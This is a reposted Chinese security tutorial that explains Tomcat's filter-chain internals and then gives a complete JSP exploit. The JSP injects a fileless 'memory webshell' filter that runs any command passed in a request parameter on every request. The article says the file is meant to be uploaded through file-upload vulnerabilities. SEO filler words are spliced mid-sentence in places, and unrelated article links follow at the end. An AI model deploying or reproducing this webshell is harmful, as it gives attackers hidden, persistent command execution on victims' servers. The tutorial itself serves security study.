您现在的位置是:IT资讯 >>正文
Java内存马连续剧——Filter内存马
IT资讯173人已围观
简介知识基础:刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,L ...
知识基础 :
刚开始内存马的内存内存这块学习与反序列化并无太大关系,反而与javaweb,马连马tomcat联系更加紧密 。续剧所以在学习内存马之前需要先了解JSP ,内存内存java web的马连马三大件,Servlet,续剧Filter ,内存内存Listener的马连马基本知识和工作流程和Tomcat 架构的相关内容。
0x01 什么是续剧Filter马
内存马就是无文件木马 ,无文件落地,内存内存它通常会存在进程 ,高防服务器马连马内存或者java虚拟机中 ,续剧特点更加隐蔽,内存内存难以排查 ,马连马并且也难以删除。续剧而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中 ,当过滤器拦截servlet请求的参数时,过滤器中的恶意代码就会执行 。
0x02 环境搭建
首先配置一个 servlet 的web项目,
1.png
然后一直点下一步就好了 ,它会自动帮我们生成一个简单的建站模板servlet 。
pom.xml中导入tomcat相关依赖 :
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.38</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>9.0.38</version> </dependency>方便之后调试代码 ,在这之后我们创建一个自定义的Filter过滤器
package com.example.memoryhorse; import javax.servlet.*; import java.io.IOException; public class MyFilter implements Filter{ @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行过滤功能"); servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("cmd")); Runtime.getRuntime().exec(servletRequest.getParameter("cmd")); } }重写了doFilter方法 ,里面添加恶意代码,接收cmd参数 ,执行任意命令 。web.xml中配置相关参数
<filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memoryhorse.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/MyFilter</url-pattern> </filter-mapping>这里我定义的是/MyFilter路由,在访问这个路由时 ,就会被我们自定义的过滤器拦截。
0x03 Filter内存马探索
这个时候是不是就有点像内存马的免费模板样子,我们注册了一个恶意的 /MyFilter 路由 ,访问这个路由可以执行任意代码。测试一下。
2.png
成功弹出计算器,这也是注入Filter内存马的一个抽象的体现。然而在实际攻防场景中,我们不可能在别人服务器上插入自己自定义的过滤器,web.xml这个配置文件也不是那么容易修改,就算修改了配置文件也很好排查 ,模板下载起不到隐秘的效果,要想动态的注册Filter马 ,就必须弄清楚过滤器的创建和调用过程。
1.tomcat Filter 的流程分析
在MyFilter的doFilter方法里下个断点,访问/MyFilter路由 ,会被我们自定义的过滤器拦截 ,doFilter方法是处理过滤功能的方法 ,开始调试。云计算
3.png
这个filterChain是一个过滤器链,通过调试看到里面存放着两个过滤器,一个是我们自定义的,一个是 tomcat 自带的 ,跟进它的doFilter方法 。
判断 Globals.IS_SECURITY_ENABLED 安全模式是否开启,这里判断false 。
4.png
跟进 internalDoFilter 方法 。
5.png
filters 是源码下载过滤器链数组 ,取数组的下标,遍历过滤器,赋值给filterConfig。
6.png
此时的过滤器为WsFilter 调用它的doFilter方法 ,跟进看一下 。
7.png
这里的判断 是否满足WebSocket握手的特殊条件 ,而且是否已经配置了相应的类来处理WebSocket连接 ,如果两个都不满足,然后回调用过滤器链中的下一个过滤器 。继续跟进 。
又回到了 internalDoFilter 方法,此时pos=2 ,不满足if条件。也就是说当过滤器遍历完后 ,就会调用 service 方法处理具体的业务请求。
8.png
事实上可以定义多个过滤器 ,当拦截请求后,从filterChain 中一个个调用doFilter方法 ,最终执行 service 方法 。
那么Filter链是怎么一步步创建的,我们要注册一个恶意的Filter进去就需要了解Filter链的创建过程。
9.png
通过执行流可以看到不断调用 invoke 方法 ,跟进最后一个 invoke方法,也就是 StandardWrapperValve 类的 invoke 方法。
10.png
这里已经创建好了 Filter链 ,往上翻代码 。
11.png
createFilterChain 就是创建Filter链的重要方法,进入到这个方法下个断点,开始调试 。
12.png
这里实例化一个filterChain ,设置了当前过滤器链中的 Servlet,然后获取当前 Servlet 包含在的上下文,从调式信息就可以看到是 StandardContext 对象 ,最后定义一个filterMaps 获取了当前上下文中的过滤器映射 。
13.png
此时的filterMaps就获取到了两个过滤器 ,到后面会对filterMaps进行两次遍历 。
这段代码的目的是将根据 URL 和 Servlet 名称匹配的过滤器配置添加到过滤器链中,以确保在请求处理过程中应用适当的过滤器。匹配过滤器配置时,会检查 Dispatcher 类型、URL 和 Servlet 名称,然后将匹配的过滤器配置添加到过滤器链中 。如果没有匹配的过滤器配置,继续处理下一个过滤器映射。
14.png
filterConfig 是通过调用context上下文的findFilterConfig方法获取,filterConfigs是一个Map ,从里面拿 。
15.png
最后通过 addFilter 方法将过滤器添加到链中 。
2.攻击思路分析
过滤器是从filterConfigs这个Map里拿的 ,那么我们把恶意的Filter添加进 filterConfigs 里 ,等它取出来,添加到Filter链中就可以了 ,那么接下来怎么构造过滤器 ,也就是filterConfig,看调试信息。
16.png
首先获取上下文context,然后就是自定义的filter代码,最后一个filterDef就是对应web.xml中对filter的配置,fiterConfig的相关内容都是从context中得到 。
FilterDefs :存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例 等基本信息 FilterConfigs:存放 filterConfig 的数组 ,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息 FilterMaps:存放 FilterMap 的数组 ,在 FilterMap 中主要存放了 FilterName 和 对 应的 URLPattern所以只要我们将filter ,FilterDefs ,FilterMaps添加到FilterConfigs中就可以添加filter了。
贴上别的师傅的流程图:
17.png
其中这里涉及到了几个类 :
ServletContext : javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时 ,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用 。并且它被所有客户端共享 。 ApplicationContext: org.apache.catalina.core.ApplicationContext 对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。 StandardContext: Catalina主要包括Connector和Container,StandardContext就是一个Container ,它主要负责对进入的用户请求进行处理 。实际来说,不是由它来进行处理 ,而是交给内部的valve处理。 一个context表示了一个外部应用 ,它包含多个wrapper ,每个wrapper表示一个servlet定义 。(Tomcat 默认的 Service 服务是 Catalina)引用师傅的解释,当前这是前面tomcat架构的内容,所以基础内容还是要了解。
0x04 Filter内存马exp编写
通过反射创建上面需要的几个对象 :
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.IOException" %> <% //请求对象 request 中获取 ServletContext 对象。 ServletContext servletContext = request.getServletContext(); //ApplicationContextFacade 是 Spring 框架中的一个类,用于封装 Spring 的 Web 应用程序上下文。 ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; //通过反射获取上下文 Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeContext.setAccessible(true); // context 字段,即 Spring 的应用程序上下文对象。通过反射获取到该字段的值 ,它被强制转换为 ApplicationContext 类型 ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade); //从 ApplicationContext 类中获取一个名为 "context" 的私有字段 。这个字段存储了实际的 Spring 应用程序上下文对象 Field applicationContextContext = applicationContext.getClass().getDeclaredField("context"); applicationContextContext.setAccessible(true); //类型转换standardContext ,标准的web应用程序上下文 StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext); //创建filterConfigs Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){ //构造filter对象 Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("执行过滤"); } @Override public void destroy() { } }; //构造filterDef对象 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); //将过滤器的配置信息添加到应用程序上下文中 standardContext.addFilterDef(filterDef); //构造filterMap对象 FilterMap filterMap = new FilterMap(); //添加映射的路由为所有请求 filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); //将上述设置好的过滤器映射对象添加到 StandardContext 中,并将其插入到已有的过滤器映射之前 standardContext.addFilterMapBefore(filterMap); //构造filterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); //将filterConfig添加到filterConfigs中,即可完成注入 hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("注入完成"); } %>为什么要写jsp文件,因为在实际场景中 ,可以通过文件上传漏洞将这个jsp马上传上去完成内存马的注入 。注释上写了,分步编写exp 。
18.png
注入成功后 ,我们对服务器访问任何请求,都会执行恶意代码。而且当jsp文件删除后,木马仍然有效。它存在当前的web应用上下文中 ,所以重启服务器就没了。
参考链接:
https://xz.aliyun.com/t/10888
本文作者:XiLitter , 转载请注明来自FreeBuf.COM
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“信息技术视野”。http://www.bziz.cn/news/425d699568.html
相关文章
SiegedSec 黑客组织袭击北约网络系统
IT资讯Security Affairs 网站披露,一个名为 SiegedSec 的网络攻击组织近期成功入侵了北约网络系统,并在网上散布盗取的大量非机密文件。目前,北约正在就此事展开积极调查,其所属官员发表声 ...
【IT资讯】
阅读更多Excel表格复制到wps中不变形的教程
IT资讯excel是一款专业的表格制作软件,为用户提供了强大且实用的功能服务,让用户能够避免许多重复的操作过程,有效的提升了用户的编辑效率,所以大部分用户在遇到表格文件的编辑问题时,都会选择在excel软件中 ...
【IT资讯】
阅读更多老年机的销售如何?(了解销售老年机的市场和趋势,为你的业务增长提供参考)
IT资讯老年机作为一种专门设计给年长者使用的手机,已经在市场上逐渐受到关注。随着老龄化社会的到来,老年机市场潜力巨大。本文将介绍销售老年机的市场情况和趋势,并提供一些对于销售业务增长有帮助的建议。了解老年人的 ...
【IT资讯】
阅读更多
热门文章
最新文章
友情链接
- 揭秘苹果耳机6s音质的绝佳表现(聆听细节世界,感受耳边的音乐奇迹)
- 所问数据的质量如何?(以数据质量指标为评估标准进行分析)
- 最好的Mac解压工具推荐(选择一个适合你的Mac解压工具是多么重要)
- Win10XP双系统安装教程(详解Win10XP双系统安装步骤,轻松享受多系统带来的便利与灵活性)
- 探究惠普导航的优势与应用(解密惠普导航的功能和使用体验)
- 推动产学研融合创新发展,紫光云工业互联网平台应用创新推广中心落地辽宁
- 小米膜的优点和特点(为你的手机屏幕保驾护航)
- 从Win10升级到Win7(如何将笔记本电脑系统由Win10改为Win7)
- 揭开华强北高仿苹果7的真相(高仿苹果7是否值得购买?一探真伪背后的故事)
- Root之后手机的变化及影响(探索手机root后的功能和风险) 云服务器网站建设香港物理机企业服务器b2b信息平台亿华云源码库